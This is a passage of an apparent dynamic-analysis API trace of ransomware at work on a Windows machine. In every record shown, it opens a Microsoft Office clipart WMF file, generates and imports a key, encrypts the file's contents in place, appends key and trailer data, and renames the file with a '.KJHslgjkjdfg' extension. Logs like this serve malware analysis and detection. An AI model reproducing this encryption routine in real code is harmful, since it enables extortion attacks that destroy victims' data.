returned 1 [0244.118] CloseHandle (hObject=0x130) returned 1 [0244.118] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02464_.WMF", cAlternateFileName="")) returned 1 [0244.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.119] GetProcessHeap () returned 0x2ef0000 [0244.119] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.119] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.119] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0244.127] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.127] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.127] GetProcessHeap () returned 0x2ef0000 [0244.127] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.127] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.127] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.127] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.127] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.127] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.127] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.127] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.128] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.128] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.128] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a54, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a54, lpOverlapped=0x0) returned 1 [0244.129] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a60) returned 1 [0244.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.129] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a60, lpOverlapped=0x0) returned 1 [0244.129] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.129] SetEndOfFile (hFile=0x130) returned 1 [0244.132] GetProcessHeap () returned 0x2ef0000 [0244.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.132] GetProcessHeap () returned 0x2ef0000 [0244.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.kjhslgjkjdfg")) returned 1 [0244.134] CloseHandle (hObject=0x130) returned 1 [0244.134] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34c8c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe34c8c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02465_.WMF", cAlternateFileName="")) returned 1 [0244.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.135] GetProcessHeap () returned 0x2ef0000 [0244.135] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.135] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.136] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0244.138] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.138] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.138] GetProcessHeap () returned 0x2ef0000 [0244.138] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.138] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.138] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.138] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.138] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.138] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.139] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.139] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.139] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.139] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.139] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x574, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x574, lpOverlapped=0x0) returned 1 [0244.139] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x580, dwBufLen=0x580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x580) returned 1 [0244.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.139] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x580, lpOverlapped=0x0) returned 1 [0244.139] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.139] SetEndOfFile (hFile=0x130) returned 1 [0244.142] GetProcessHeap () returned 0x2ef0000 [0244.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.142] GetProcessHeap () returned 0x2ef0000 [0244.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.kjhslgjkjdfg")) returned 1 [0244.144] CloseHandle (hObject=0x130) returned 1 [0244.144] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02578_.WMF", cAlternateFileName="")) returned 1 [0244.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.146] GetProcessHeap () returned 0x2ef0000 [0244.146] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.146] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.146] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0244.148] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.148] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.148] GetProcessHeap () returned 0x2ef0000 [0244.149] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.149] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.149] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.149] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.149] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.149] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.149] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.149] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.150] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.150] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.150] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19ca, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x19ca, lpOverlapped=0x0) returned 1 [0244.151] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19d0, dwBufLen=0x19d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19d0) returned 1 [0244.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.151] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x19d0, lpOverlapped=0x0) returned 1 [0244.152] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.152] SetEndOfFile (hFile=0x130) returned 1 [0244.155] GetProcessHeap () returned 0x2ef0000 [0244.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.155] GetProcessHeap () returned 0x2ef0000 [0244.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.kjhslgjkjdfg")) returned 1 [0244.157] CloseHandle (hObject=0x130) returned 1 [0244.157] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d32800, ftCreationTime.dwHighDateTime=0x1bd4c4e, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6d32800, ftLastWriteTime.dwHighDateTime=0x1bd4c4e, nFileSizeHigh=0x0, nFileSizeLow=0x5fec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02617_.WMF", cAlternateFileName="")) returned 1 [0244.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.158] GetProcessHeap () returned 0x2ef0000 [0244.158] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.158] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.159] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.227] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.227] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.227] GetProcessHeap () returned 0x2ef0000 [0244.227] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.227] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.227] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.228] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.228] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.228] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.228] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.228] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.228] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.228] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.229] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5fec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5fec, lpOverlapped=0x0) returned 1 [0244.330] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5ff0, dwBufLen=0x5ff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5ff0) returned 1 [0244.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.330] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5ff0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5ff0, lpOverlapped=0x0) returned 1 [0244.330] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x60c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.330] SetEndOfFile (hFile=0x130) returned 1 [0244.333] GetProcessHeap () returned 0x2ef0000 [0244.333] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.333] GetProcessHeap () returned 0x2ef0000 [0244.333] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.kjhslgjkjdfg")) returned 1 [0244.335] CloseHandle (hObject=0x130) returned 1 [0244.335] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7f4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02790_.WMF", cAlternateFileName="")) returned 1 [0244.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.337] 